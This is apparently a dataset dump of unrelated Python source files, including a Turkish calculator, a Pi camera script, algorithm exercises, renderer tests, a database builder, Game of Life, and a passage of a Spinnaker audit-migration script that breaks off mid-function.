+{"seq_id":"452451318","text":"import math\nimport sys\n\ndef secim(k):\n\tprint(\"\"\"MATHMATMHMATMAHMATMAHMAHMATMAHM\nToplama için 1\nÇıkarma için 2\nÇarpma için 3\nBölmek için 4\nFaktoriyel için 5\nBüyüye yuvarlamak için 6\nKüçüğe yuvarlamak için 7\n-----------------\nÇıkmak için Q\nProgram esnasında bu menüye ulaşmak için \\\"geri\\\" yazınız.\nMATMAHMATMAHMATMHMATHMATMHMAHMMA\n\"\"\")\n\n\tk = input()\n\n\tif k == \"1\": \t\n\t\twhile True:\n\t\t\t(toplama(1,2))\n\telif k == \"2\":\n\t\twhile True:\n\t\t\t(cikar(1,2))\n\telif k == \"3\":\n\t\twhile True:\n\t\t\t(çarpma(1,2))\n\telif k == \"4\":\n\t\twhile True:\n\t\t\t(bol(4,3))\n\n\telif k == \"5\":\n\t\twhile True:\n\t\t\t(faktoriyel(4))\n\n\telif k == \"6\":\n\t\twhile True:\n\t\t\t(buyuk_yuvarla(1))\n\n\telif k == \"7\":\n\t\twhile True:\n\t\t\t(kucuk_yuvarla(1))\n\n\telif k == \"q\" or k == \"Q\":\n\t\tsys.exit(\"Çıkılıyor\")\n\n#----------------------------------------------\n\n\ndef toplama(a,b):\n\t# iki sayıyı toplar\n\ta = input(\"İlk sayı:\")\n\tif a == \"geri\":\n\t\tsecim(1)\n\telse:\n\t\tb = input(\"İkinci Sayı:\")\n\t\ta = int(a)\n\t\tb = int(b)\n\t\tprint(\"{} + {} = {}\".format(a,b,a+b))\n\n#----------------------------------------------\n\ndef çarpma(a,b):\n\t# iki sayıyı çarpar\n\ta = input(\"İlk sayı:\")\n\tif a == \"geri\":\n\t\tsecim(1)\n\telse:\n\t\tb = input(\"ikinci sayı:\")\n\t\ta = int(a)\n\t\tb = int(b)\n\t\tprint(\"{} * {} = {}\".format(a,b,a*b))\n\n#----------------------------------------------\n\ndef bol(a,b):\n\t# iki sayıyı böler\n\ta = input(\"İlk sayı:\")\n\tif a == \"geri\":\n\t\tsecim(1)\n\telse:\n\t\tb = input(\"İkinci Sayı:\")\n\t\ta = int(a)\n\t\tb = int(b)\n\t\tprint(\"{} / {} = {}\".format(a,b,a/b))\n\n#----------------------------------------------\n\ndef cikar(a,b):\n\t# iki sayıyı çıkarır\n\ta = input(\"İlk sayı:\")\n\tif a == \"geri\":\n\t\tsecim(1)\n\telse:\n\t\tb = input(\"İkinci Sayı:\")\n\t\ta = int(a)\n\t\tb = int(b)\n\t\tprint(\"{} - {} = {}\".format(a,b,a-b))\n\n#----------------------------------------------\n\n\ndef faktoriyel(sayı):\n\t#sayının faktoriyelini bulan fonksiyon\n\tsayı = input(\"Sayı:\")\n\tif sayı == \"geri\":\n\t\tsecim(1)\n\telse:\n\t\tsayı = float(sayı)\n\t\tprint(\"Girdiğin sayının faktoriyeli.\",math.factorial(sayı))\n\n#----------------------------------------------\n\ndef kucuk_yuvarla(a):\n\t# float girilen sayıyı en küçüğe yuvarlar\n\ta = float(input(\"Sayı:\"))\n\tif a == \"geri\":\n\t\tsecim(1)\n\telse:\n\t\tprint(\"Küçüğe Yuvarlanmış hali:\",math.floor(a))\n\n#----------------------------------------------\n\ndef buyuk_yuvarla(a):\n\t# float girilen sayıyı en küçüğe yuvarlar\n\ta = float(input(\"Sayı:\"))\n\tif a == \"geri\":\n\t\tsecim(1)\n\telse:\n\t\tprint(\"Büyüğe Yuvarlanmış hali:\",math.ceil(a))\n\n#----------------------------------------------\n\nsecim(1)\n","sub_path":"hesapmakinesi.py","file_name":"hesapmakinesi.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"509545968","text":"#IMPORTS\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport time\nimport cv2\n\n#CONSTANTS\nSHAPE = (300, 500)\nFRAME_RATE = 85\n#SETUP\ncamera = PiCamera()\ncamera.resolution = SHAPE\ncamera.framerate = FRAME_RATE\nraw = PiRGBArray(camera, size=SHAPE)\n\n#IMPLEMENTATION\ntime.sleep(0.1)\n\nfor frame in camera.capture_continuous(raw, format=\"bgr\", use_video_port=True):\n\timage = frame.array\n\tcv2.imshow(\"Video Stream\", image)\n\tkey = cv2.waitKey(1) & 0xFF\n\traw.truncate(0)\n\tif key == ord(\"q\"):\n\t\tbreak\n","sub_path":"cam_script.py","file_name":"cam_script.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"127155405","text":"\"\"\"\nDivide array into max sets containing equal no of 1s and 0s\n\"\"\"\n\nif __name__ == \"__main__\":\n s = str(input())\n ct, c0, c1 = 0, 0, 0\n if(s.count('0') != s.count('1')):\n ct = -1\n print(ct)\n exit()\n for i in range(0, len(s)):\n if(s[i] == '0'):\n c0 += 1\n elif(s[i] == '1'):\n c1 += 1\n if(c0 > 0 and c1 > 0 and c0==c1):\n print(c0, c1)\n ct += 1\n c0, c1 = 0, 0\n print(ct)\n #input: 0100010101 output: -1\n #input: 0100110101 output: 4\n #input: 0111100001 output: 3\n","sub_path":"Basics/equal0and1s.py","file_name":"equal0and1s.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"272645837","text":"import urllib.request\nimport urllib.parse\nimport requests\nimport json\nimport ssl\n\n\ndef fanyi_urllib(keyword):\n # urllib 版本\n\n context = ssl._create_unverified_context()\n data_dic = {'kw': keyword}\n url = 'https://fanyi.baidu.com/sug'\n headers = {'content-length': '8'}\n\n data = urllib.parse.urlencode(data_dic)\n # print(data)\n req = urllib.request.Request(url=url, data=bytes(data, encoding='utf-8'))\n res = urllib.request.urlopen(req, context=context)\n html = res.read().decode('utf-8')\n\n res_dic = json.loads(html)\n\n print(res_dic['data'][0]['v'])\n\n\ndef fanyi_requests(keyword):\n # requests 版本\n url = 'https://fanyi.baidu.com/sug'\n data = {'kw': keyword}\n\n res = requests.post(url=url, data=data)\n\n html = res.content.decode('utf-8')\n\n html_json = json.loads(html)\n print(html_json['data'][0]['v'])\n\n\nif __name__ == '__main__':\n while True:\n x = input(\"请输入你想翻译的词语,q退出:\")\n if x == 'q':\n break\n fanyi_requests(x)","sub_path":"Baidu_Fanyi.py","file_name":"Baidu_Fanyi.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"605877259","text":"#!/usr/bin/python2.7\n# Copyright 2012 JatLeGo Inc. All Rights Reserved.\n# Author: andyzh1314@gmail.com (Andy Zhau)\n\nimport unittest\n\nfrom dsc.framework import component\nfrom dsc.framework import renderer\nfrom dsc.framework import test_util\n\n\nclass RendererTest(unittest.TestCase):\n\n\n def test_base_renderer(self):\n r = renderer.Renderer()\n c = component.ComponentContent(None, \"foo\", r)\n self.assertEquals(\"foo\", r.RenderContent(c))\n\n def test_json_renderer(self):\n data = {\"foo\": \"bar\", \"fooarr\": [\"foo\", \"bar\"]}\n r = renderer.JsonRenderer()\n c = component.ComponentContent(test_util.FakeDscData(), data, r)\n self.assertEquals('{\"foo\":\"bar\",\"fooarr\":[\"foo\",\"bar\"]}',\n r.RenderContent(c))\n\n def test_json_with_debug(self):\n data = {\"foo\": \"bar\", \"fooarr\": [\"foo\", \"bar\"]}\n r = renderer.JsonRenderer()\n c = component.ComponentContent(test_util.FakeDscData(\n debug_parameters={\"h\": \"\"}), data, r)\n golden_result = (\n\"\"\"{\n \"foo\": \"bar\",\n \"fooarr\": [\n \"foo\",\n \"bar\"\n ]\n}\"\"\")\n self.assertEquals(golden_result, r.RenderContent(c))\n\n def test_django_template_error(self):\n data = {\"foo\": \"bar\", \"fooarr\": [\"foo\", \"bar\"]}\n r = renderer.DjangoTemplateRenderer(\"foo/bar.html\")\n c = component.ComponentContent(test_util.FakeDscData(\n debug_parameters={\"h\": \"\"}), data, r)\n self.assertRaises(ImportError, r.RenderContent, c)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"dsc/framework/renderer_test.py","file_name":"renderer_test.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"148139876","text":"adj = [\"red\", \"big\", \"tasty\"]\nfruits = [\"apple\", \"banana\", \"cherry\"]\n\nfor x in adj:\n for y in fruits:\n print(x, y)\n \nlist = [1,2,3,4]\n\nit = iter(list)\n\nprint(next(it)) #prints 1 and only 2,3,4 will be in the iterator\n\nfor x in it:\n print(x) #prints 2,3,4\n\n \n# it = iter(list)\n \n# while True:\n# print (next(it))\n\n","sub_path":"PythonProject/src/Loops.py","file_name":"Loops.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"108109740","text":"#!/usr/bin/python\n\nimport sys\nsys.path.append(\"..\")\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nfrom data_model import Base, Minigame, Transition\nfrom config import Config\n\nclass DatabaseBuilder():\n _config = None\n\n def __init__(self, _config):\n self._config = _config\n\n def build_database(self):\n self._create_database()\n self._populate_database_schema()\n\n def rebuild_database(self):\n # Let's not drop the db in PROD, just to be safe :)\n self._drop_database()\n self._create_database()\n self._populate_database_schema()\n\n def _get_engine(self, database=\"\"):\n connection_string = ('mysql://%s:%s@%s/%s' %\n (self._config.DATABASE_USERNAME,\n self._config.DATABASE_PASSWORD,\n self._config.DATABASE_SERVER,\n database))\n engine = create_engine(\n connection_string,\n encoding=\"utf8\",\n echo=True)\n return engine\n\n def _create_database(self):\n engine = self._get_engine()\n conn = engine.connect()\n # Do not substitute user-supplied database names here.\n conn.execute(\"CREATE DATABASE `%s`\" % self._config.DATABASE_NAME)\n conn.execute(\"COMMIT\")\n conn.close()\n\n def _populate_database_schema(self):\n # Get a new engine for the just-created database and create a table.\n engine = self._get_engine(self._config.DATABASE_NAME)\n conn = engine.connect()\n Base.metadata.create_all(engine)\n conn.execute(\"COMMIT\")\n conn.close()\n\n session = scoped_session(sessionmaker(\n autocommit=False,\n autoflush=False,\n bind=engine))\n\n session.add(Minigame(MinigameId=1, Name=\"Art Master\"))\n session.add(Transition(MinigameId=1, StateTo=0))\n session.add(Transition(MinigameId=1, StateFrom=0, StateTo=2))\n session.add(Transition(MinigameId=1, StateFrom=2, StateTo=3))\n session.add(Transition(MinigameId=1, StateFrom=3, StateTo=4))\n\n session.add(Minigame(MinigameId=2, Name=\"Sentenced To Death\"))\n session.add(Transition(MinigameId=2, StateTo=1))\n session.add(Transition(MinigameId=2, StateFrom=1, StateTo=2))\n session.add(Transition(MinigameId=2, StateFrom=2, StateTo=3))\n session.add(Transition(MinigameId=2, StateFrom=3, StateTo=4))\n session.commit()\n session.close()\n\n def _drop_database(self):\n engine = self._get_engine()\n conn = engine.connect()\n conn.execute(\"DROP DATABASE IF EXISTS `%s`\" % self._config.DATABASE_NAME)\n conn.execute(\"COMMIT\")\n conn.close()\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 1:\n usage = (\n \"Usage: ./create_database.py ARGS\\n\"\n \"--dev\\tcreate dev database\\n\"\n \"--prod\\tcreate prod database\")\n print(usage)\n elif sys.argv[1] == \"--prod\":\n db_builder = DatabaseBuilder(Config)\n db_builder.build_database()\n elif sys.argv[1] == \"--dev\":\n db_builder = DatabaseBuilder(Config)\n db_builder.rebuild_database()\n else:\n print(\"Invalid arguments\")\n","sub_path":"service/artmaster/artmaster/database/create_database.py","file_name":"create_database.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"319417346","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nejercicio 4\r\nWrite a Python program to read a file line by line and store it into a list.\r\n\r\n\"\"\"\r\n\r\ndef file_read(fname):\r\n with open(fname) as f:\r\n content_list = f.readlines()\r\n print(content_list)\r\n\r\nfile_read('eduardo.txt')","sub_path":"pythonfile/exer4.py","file_name":"exer4.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"97897068","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n# Complete the birthdayCakeCandles function below.\r\ndef birthdayCakeCandles(ar):\r\n birth=ar[0]\r\n t=0\r\n count=0\r\n while tbirth:\r\n birth=ar[t]\r\n t+=1\r\n d=0\r\n while d\n.. moduleauthor:: Joshua Freimark\n\"\"\"\n# allow for input from terminal\nfrom sys import argv\n\ndef neighbors(grid, row, cell):\n \"\"\"\n Calculate the sum of the neighbors of element being evaluated\n :param row, cell: arguements for cells active\n :type integers: a integer object from grid\n\n :return: the sum of neighbors to make decision\n :rtype: integer\n \"\"\"\n on_count = (grid[row-1][cell-1] + grid[row-1][cell] + grid[row-1][cell+1] +\n grid[row][cell-1] + (grid[row][cell]*0)+ grid[row][cell+1] +\n grid[row+1][cell-1] + grid[row +1][cell] + grid[row +1][cell+1])\n return on_count\n\ndef make_move( grid, nrows, ncols):\n \"\"\"\n Function iterates over grid and evaluates the neigbors of '0'/'1' values\n :param grid,row, cell: arguements for iterating over grid\n :type lists, integers: Array of lists, and integer object from grid\n\n :return: the new grid\n :rtype: Array/2-d list\n \"\"\"\n new_grid = [[0] * ncols for i in range(nrows)] # For new grid to post decisions\n for row in range(nrows-1):\n for cell in range(ncols-1):\n on_count = neighbors(grid, row, cell)\n if grid[row][cell] == 1: # If cells alive\n if (on_count == 2) or (on_count == 3):\n new_grid[row][cell] = 1 # b. Any “on” cell with two or three “on” neighbors remains “on”.\n else: # c. Any “on” cell with more than three “on” neighbors is turned “off”.\n # a. Any “on” cell with fewer than two live neighbors is turned “off”.\n new_grid[row][cell] = 0\n\n elif grid[row][cell] == 0: # If cells dead\n if on_count == 3:\n new_grid[row][cell] = 1 # d. Any “off” cell with exactly three live neighbors is turned “on”.\n else:\n new_grid[row][cell] = 0\n\n return new_grid\ndef initiate(coordinates, grid, nrows, ncols):\n \"\"\"\n Function iterates over grid and implements starting coordinates\n :param coordinates,grid, nrows, ncells: arguements for: 'Alive' cells, and iterating over grid\n :type lists, lists, integers:List of integers, 2-d lists, and integer object from grid\n\n :return: the new grid\n :rtype: Array/2-d list\n \"\"\"\n\n for item in coordinates:\n row, col = item.split(\":\")\n grid[int(row)][int(col)] = 1\n #make_move(grid, nrows, ncols)\n\ndef print_grid(grid, nrows, ncols):\n \"\"\"\n Function makes grid of '-'/'X' for alive/dead cells\n :param grid, nrows, ncells: arguements for: making dimensions of 2-d structure and\n :type lists, integers: 2-d lists, and integer object from grid\n\n :return: the new grid\n :rtype: Array/2-d list\n \"\"\"\n string_grid = \"\" # empty string for terminal output\n for row in range(nrows-1) :\n for cell in range(ncols-1):\n if grid[row][cell] == 0:\n string_grid += '-' # every 0 int is replaced with '-' character\n elif grid[row][cell] == 1:\n string_grid += 'X' # every 1 int is replaced with 'X' character\n string_grid += '\\n' # Indicates the end of the list\n print(string_grid)\n #initiate(coordinates, grid, nrows, ncols)\n\ndef main(*argv):\n \"\"\"\n Function extracts command from terminal and prompts parsing\n :param *argv: arguements for: all arguements from terminal\n :type lists: list of all arguements\n\n :return: the final string grid\n :rtype: string of '-'/'X'\n \"\"\"\n nrows = 31 # dimensions greater than needed to ignore values that exceed my normal list dimensions\n ncols = 81\n ticks = (int(argv[1])) #returns a string of ticks from terminal, -1 to make only '50' iterations\n\n coordinates = argv[2:] # returns a string of 'coordinates from terminal'\n grid = [[0] * ncols for i in range(nrows)] # makes grid, good\n print_grid(grid, nrows, ncols) # checks string grid, good\n initiate(coordinates, grid, nrows, ncols) #forms starting coordinates, good\n print_grid(grid, nrows, ncols) #checks starting coordinates, good\n new_grid = make_move(grid, nrows, ncols) # Makes decisions, good for first iteration\n print_grid(new_grid, nrows, ncols) # check decisions, good\n while ticks > 1: #while loop for iterations\n new_grid = make_move(new_grid, nrows, ncols)\n print_grid(new_grid, nrows, ncols)\n ticks -= 1\n\nmain(*argv)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"233882715","text":"import datetime\nimport json\nimport uuid\nimport psycopg2\nimport sys\nimport requests\n\n\ndef perform_migration():\n try:\n print('Migrating from v3.9.x to v3.10')\n url = 'https://api.github.com'\n hosturl = 'https://github.com'\n alter_approval_gate_approval()\n print(\"Altered table approval_gate_approval in visibilitydb\")\n modifyOpsmxdb()\n print(\"Altered column verification_type value of table userservicetemplate in opsmdb\")\n print(\"Alter autopilot db table entropy\")\n updatescript()\n modifyGit(hosturl)\n print(\"Modified config data of Datasource type 'GIT'\")\n modifygitname()\n print(\"Modified config data of Datasource type 'GIT to GITHUB'\")\n modifyGithub(hosturl, url)\n print(\"Modified config data of Datasource type 'GITHUB'\")\n platform_conn.commit()\n visibility_conn.commit()\n opsmxdb_conn.commit()\n print(\"***** Successfully migrated table data for visibility, opsmx, platform\")\n print(\"Migrating Audit details to v3.10\")\n perform_Audit_migration()\n print(\"Migrating policy audits\")\n policy_audits = fetch_policy_audit()\n migrate_policy_audit(policy_audits)\n print(\"Successfully migrated policy audits\")\n audit_conn.commit()\n print(\"***** Successfully migrated audit details\")\n except Exception as e:\n audit_conn.rollback()\n print('Exception occurred during migration : ', e)\n finally:\n audit_conn.close()\n oesdb_conn.close()\n\n\ndef perform_Audit_migration():\n try:\n print(\"Checking spinnaker configuration in oes db\")\n verifySpinnakerConfigurationAndGetURL()\n print(\"Spinnaker configured url \" + url)\n print(\"Fetch spinnaker applications\")\n applications = fetchSpinnakerApplication(url)\n print(\"List of spinnaker application names :\" + ', '.join(applications))\n applicationPipelineDict = fetchSpinnakerPipelineExecutionByApp(applications, url)\n applicationPipelineConfigDict = fetchSpinnakerPipelineConfigExecution(applications, url)\n migratePipelineExecutions(applicationPipelineDict)\n migratePipelineConfigExecutionS(applicationPipelineConfigDict)\n except Exception as e:\n print('Exception occurred during fetching spinnaker pipeline applications : ', e)\n raise e\n\n\ndef verifySpinnakerConfigurationAndGetURL():\n try:\n cur = oesdb_conn.cursor()\n cur.execute(\"select id,url from spinnaker;\")\n result = cur.fetchall()\n if result is None:\n raise Exception(\"Please configure spinnaker before proceeding with audit migration\")\n except Exception as e:\n print(\"Exception occurred while fetching spinnaker configuration from oes db: \", e)\n raise e\n\n\n\ndef fetchSpinnakerApplication(url):\n try:\n url = url + \"/applications\"\n headers = {'Cookie': session_id}\n response = requests.get(url=url, headers=headers).json()\n applications = [res.get('name') for res in response]\n except Exception as e:\n print(\"Exception occurred while fetching spinnaker applications : \", e)\n raise e\n return applications\n\n\ndef fetchSpinnakerPipelineExecutionByApp(applications, url):\n applicationPipelineDict = []\n try:\n url = url + \"/applications/{application}/pipelines\"\n appcount = 0\n for application in applications:\n updated_url = str(url).replace('{application}', application)\n headers = {'Cookie': session_id}\n response = requests.get(url=updated_url, headers=headers)\n if response.json() != []:\n # print(\"SPINNAKER APPLICATION - \" + application + \" PIPELINE DETAILS: \" + str(response.json()))\n pipelineArray = {application: json.loads(response.content)}\n appcount += 1\n print(\"Total application pipeline executions : \" + str(appcount))\n applicationPipelineDict.append(pipelineArray)\n except Exception as e:\n print(\"Error : Please check spinnaker connection with active sessionId\")\n print(\"Exception occurred while fetching spinnaker pipeline execution : \", e)\n raise e\n return applicationPipelineDict\n\n\ndef fetchSpinnakerPipelineConfigExecution(applications, url):\n applicationPipelineConfigDict = []\n try:\n url = url + \"/applications/{application}/pipelineConfigs\"\n appcount = 0\n for application in applications:\n updated_url = str(url).replace('{application}', application)\n headers = {'Cookie': session_id}\n response = requests.get(url=updated_url, headers=headers)\n if response.json() != []:\n # print(\"SPINNAKER APPLICATION - \" + application + \" PIPELINE CONFIG DETAILS: \" + str(response.json()))\n pipelineArray = {application: json.loads(response.content)}\n appcount += 1\n print(\"Total application pipeline config executions \" + str(appcount))\n applicationPipelineConfigDict.append(pipelineArray)\n except Exception as e:\n print(\"Error : Please check spinnaker connection with active sessionId\")\n print(\"Exception occurred while fetching spinnaker pipeline execution : \", e)\n raise e\n return applicationPipelineConfigDict\n\n\ndef migratePipelineExecutions(applicationPipelineDict):\n try:\n startcount = 0;\n savedCount = 0;\n rejectedCount = 0;\n rejectedPipelineExecutionJson = []\n rejectedAppList = set()\n for applicationPipelines in applicationPipelineDict:\n for application, pipelineExecutions in applicationPipelines.items():\n for pipelineExecution in pipelineExecutions:\n startcount += 1\n print(\"********** Received Pipeline Execution count::\" + str(startcount))\n if 'id' in pipelineExecution and 'buildTime' in pipelineExecution and 'status' in pipelineExecution:\n eventId = getEventId(pipelineExecution)\n if eventId != None:\n pipelineExecutionJson = json.dumps(pipelineExecution)\n executionId = pipelineExecution['id']\n print(\n \"Started inserting pipeline execution details application Id - \" + application + \" and execution Id: \" + executionId)\n if isDataAlreadyPresent(application, executionId) == False:\n if getPipelineStatus(pipelineExecution['status']) != None:\n pipeline_upper_json = \"\"\"{\"details\": { \"source\": \"orca\",\"type\": \"orca:pipeline:{status}\",\"created\":{created},\"application\": \"{application}\",\"requestHeaders\": {}},\"content\": {\"execution\":\"\"\"\n pipeline_lower_json = \"\"\",\"executionId\": \"{executionId}\"},\"eventId\": \"{eventId}\"}\"\"\"\n created = pipelineExecution['buildTime']\n status = getPipelineStatus(pipelineExecution['status'])\n print(\n \"** Extracted Data executionId: \" + executionId + \",status: \" + status + \",created: \" + str(\n created) + \",eventId: \" + eventId)\n updated_pipeline_upper_json = pipeline_upper_json.replace('{status}',\n status).replace(\n '{created}', str(created)).replace('{application}', application)\n updated_pipeline_lower_json = pipeline_lower_json.replace('{executionId}',\n executionId).replace(\n '{eventId}', eventId)\n updated_pipeline_execution = json.loads(\n updated_pipeline_upper_json + pipelineExecutionJson + updated_pipeline_lower_json)\n updated_pipeline_execution_Json = json.dumps(updated_pipeline_execution)\n # print(\"Updated Pipeline execution details for application : \" + application + \" :: \" + updated_pipeline_execution_Json)\n insertPipelineExecutionData(eventId, updated_pipeline_execution_Json)\n savedCount += 1\n print(\"********** Saved Pipeline Execution count::\" + str(savedCount))\n else:\n rejectedCount += 1;\n rejectedAppList.add(str(application))\n print(\"********** Received Rejected count of Pipeline Execution count::\" + str(\n rejectedCount) + \" application : \" + str(application))\n rejectedPipelineExecutionJson.append(str(pipelineExecution));\n print(\"Total Received count : \" + str(startcount))\n print(\"Total Saved count : \" + str(savedCount))\n print(\"Total Rejected count : \" + str(rejectedCount) + \" Rejected App list :\" + str(rejectedAppList))\n except Exception as e:\n print(\"Exception occurred while updating pipeline execution data : \", e)\n raise e\n\n\ndef getEventId(pipelineExecution):\n if 'eventId' in pipelineExecution['trigger']:\n eventId = pipelineExecution['trigger']['eventId']\n elif ('parentExecution' in pipelineExecution['trigger'] and 'trigger' in pipelineExecution['trigger'][\n 'parentExecution'] and 'eventId' in pipelineExecution['trigger']['parentExecution']['trigger']):\n eventId = pipelineExecution['trigger']['parentExecution']['trigger']['eventId']\n else:\n eventId = str(uuid.uuid4())\n return eventId\n\n\ndef getPipelineStatus(pipelineStatus):\n if pipelineStatus == \"TERMINAL\":\n return \"failed\"\n elif pipelineStatus == \"SUCCEEDED\":\n return \"complete\"\n elif pipelineStatus == \"RUNNING\":\n return \"starting\"\n elif pipelineStatus == \"CANCELED\":\n return \"failed\"\n elif pipelineStatus == \"NOT_STARTED\":\n return \"failed\"\n\n\ndef insertPipelineExecutionData(eventId, updated_pipeline_execution):\n try:\n cur = audit_conn.cursor()\n date_time = datetime.datetime.now()\n data = date_time, date_time, updated_pipeline_execution, eventId, 'spinnaker'\n cur.execute(\n \"INSERT INTO audit_events (created_at, updated_at,data,event_id,source) VALUES (%s, %s, %s, %s, %s)\",\n data)\n print(\"Successfully inserted data into audit_events table\")\n except Exception as e:\n print(\"Exception occurred while inserting data into audit_events table : \", e)\n raise e\n\n\ndef isDataAlreadyPresent(application, executionId):\n try:\n cur = audit_conn.cursor()\n cur.execute(\n \"SELECT count(*) FROM audit_events WHERE data -> 'content' -> 'execution' ->> 'application' = '\" + application + \"' AND data -> 'content' ->> 'executionId' = '\" + executionId + \"'\")\n result = cur.fetchone()[0]\n if result > 0:\n return bool(True)\n else:\n return bool(False)\n except Exception as e:\n print(\"Exception occurred while fetch data into audit_events table : \", e)\n raise e\n\n\ndef migratePipelineConfigExecutionS(applicationPipelineDict):\n try:\n startcount = 0;\n savedCount = 0;\n rejectedCount = 0;\n rejectedPipelineExecutionJson = []\n rejectedAppList = []\n for applicationPipelines in applicationPipelineDict:\n for application, pipelineConfigExecutions in applicationPipelines.items():\n for pipelineExecutionConfig in pipelineConfigExecutions:\n startcount += 1\n print(\"********** Received Pipeline config Execution count::\" + str(startcount))\n if 'name' in pipelineExecutionConfig and 'lastModifiedBy' in pipelineExecutionConfig and 'application' in pipelineExecutionConfig and 'id' in pipelineExecutionConfig and 'updateTs' in pipelineExecutionConfig:\n pipeline_config_upper_json = \"\"\"{\"content\": {\"name\": \"savePipeline\",\"context\": {\"user\": \"{user}\",\"application\": \"{appName}\",\"pipeline.id\": \"{pipelineId}\",\"pipeline.name\": \"{pipelineName}\"}, \"execution\": {\"stages\": [{ \"status\": \"SUCCEEDED\"}]}}}\"\"\"\n user = pipelineExecutionConfig['lastModifiedBy']\n application = pipelineExecutionConfig['application']\n pipelineId = pipelineExecutionConfig['id']\n pipelineName = pipelineExecutionConfig['name']\n updatedTime = pipelineExecutionConfig['updateTs']\n print(\n \"** Extracted pipeline config Data user: \" + user + \",application: \" + application + \",pipelineId: \" + pipelineId + \",pipelineName: \" + pipelineName)\n updated_pipeline_config_upper_json = json.loads(\n pipeline_config_upper_json.replace('{user}', user).replace('{appName}',\n application).replace(\n '{pipelineId}', pipelineId).replace('{pipelineName}', pipelineName))\n updated_pipeline_config_execution_Json = json.dumps(updated_pipeline_config_upper_json)\n print(\n \"Updated Pipeline config execution details for application : \" + application + \" :: \" + updated_pipeline_config_execution_Json)\n eventId = uuid.uuid4()\n insertPipelineConfigExecutionData(updatedTime, eventId, updated_pipeline_config_execution_Json)\n savedCount += 1\n print(\"********** Saved Pipeline Execution count::\" + str(savedCount))\n else:\n rejectedCount += 1;\n rejectedAppList.append(str(application))\n print(\"********** Received Rejected count of Pipeline config Execution count::\" + str(\n rejectedCount) + \" application : \" + str(application))\n rejectedPipelineExecutionJson.append(str(pipelineExecutionConfig));\n print(\"Total Received count : \" + str(startcount))\n print(\"Total Saved count : \" + str(savedCount))\n print(\"Total Rejected count : \" + str(rejectedCount) + \" Rejected App list :\" + str(rejectedAppList))\n except Exception as e:\n print(\"Exception occurred while updating pipeline execution data : \", e)\n raise e\n\n\ndef insertPipelineConfigExecutionData(updatedTime, eventId, updated_pipeline_config_execution):\n try:\n cur = audit_conn.cursor()\n # date_time = datetime.datetime.now()\n updatedTime_date_time = datetime.datetime.utcfromtimestamp(int(updatedTime) / 1000)\n data = str(updatedTime_date_time), str(updatedTime_date_time), updated_pipeline_config_execution, str(\n eventId), 'spinnaker '\n cur.execute(\n \"INSERT INTO audit_events (created_at, updated_at,data,event_id,source) VALUES (%s, %s, %s, %s, %s)\",\n data)\n print(\"Successfully inserted pipeline config data into audit_events table\")\n except Exception as e:\n print(\"Exception occurred while inserting pipeline config data into audit_events table : \", e)\n raise e\n\n\ndef getGitUsernameBytoken(token, url):\n try:\n url = url + \"/user\"\n headers = {'Authorization': 'token ' + token}\n login = requests.get(url=url, headers=headers).json()\n print(\"git username: \" + login['login'])\n return login['login']\n except Exception as e:\n print(\"Exception occured while getting user name of datasource type GIT : \", e)\n return \" \"\n\n\ndef alter_approval_gate_approval():\n try:\n cur = visibility_conn.cursor()\n cur.execute(\"ALTER TABLE approval_gate_approval ALTER COLUMN approver_comment TYPE TEXT\")\n except Exception as e:\n print(\"Exception occured while altering the approval_gate_parameter table : \", e)\n raise e\n\n\ndef modifyOpsmxdb():\n try:\n cur = opsmxdb_conn.cursor()\n cur.execute(\"select opsmx_id from userservicetemplate where verification_type = null;\")\n result = cur.fetchall()\n if result != None:\n for opsmx_id in result:\n cur.execute(\n \"update userservicetemplate set verification_type = 'VERIFICATION' where opsmx_id=\" + str(opsmx_id))\n except Exception as e:\n print(\"Exception occurred while fetching userservicetemplate data : \", e)\n raise e\n\n\ndef updatescript():\n try:\n cur = opsmxdb_conn.cursor()\n cur.execute(\" ALTER TABLE entropy ALTER COLUMN service_id DROP NOT NULL \")\n print(\"Successfully altered entropy table in autopilot db\")\n except Exception as e:\n print(\"Exception occured while updating script : \", e)\n raise e\n\n\ndef modifyGit(hosturl):\n try:\n cur = platform_conn.cursor()\n cur.execute(\"select id,config from datasource where datasourcetype = 'GIT';\")\n result = cur.fetchall()\n if result != None:\n for data in result:\n configData = json.loads(data[1])\n jdata = {\"hostUrl\": hosturl, \"url\": configData['url'],\n \"username\": getGitUsernameBytoken(configData['token'], configData['url']),\n \"token\": configData['token']}\n updatedConfig = \"'\" + str(json.dumps(jdata)) + \"'\"\n print(\"GIT Datasource Json data of Id:\" + str(data[0]) + \" :\" + updatedConfig)\n cur.execute('update datasource SET config =' + updatedConfig + ' where id =' + str(data[0]))\n except Exception as e:\n print(\"Exception occurred while modify datasource data of GIT: \", e.with_traceback())\n raise e\n\n\ndef modifygitname():\n try:\n cur = platform_conn.cursor()\n cur.execute(\"select id from datasource where datasourcetype = 'GIT';\")\n result = cur.fetchall()\n if result != 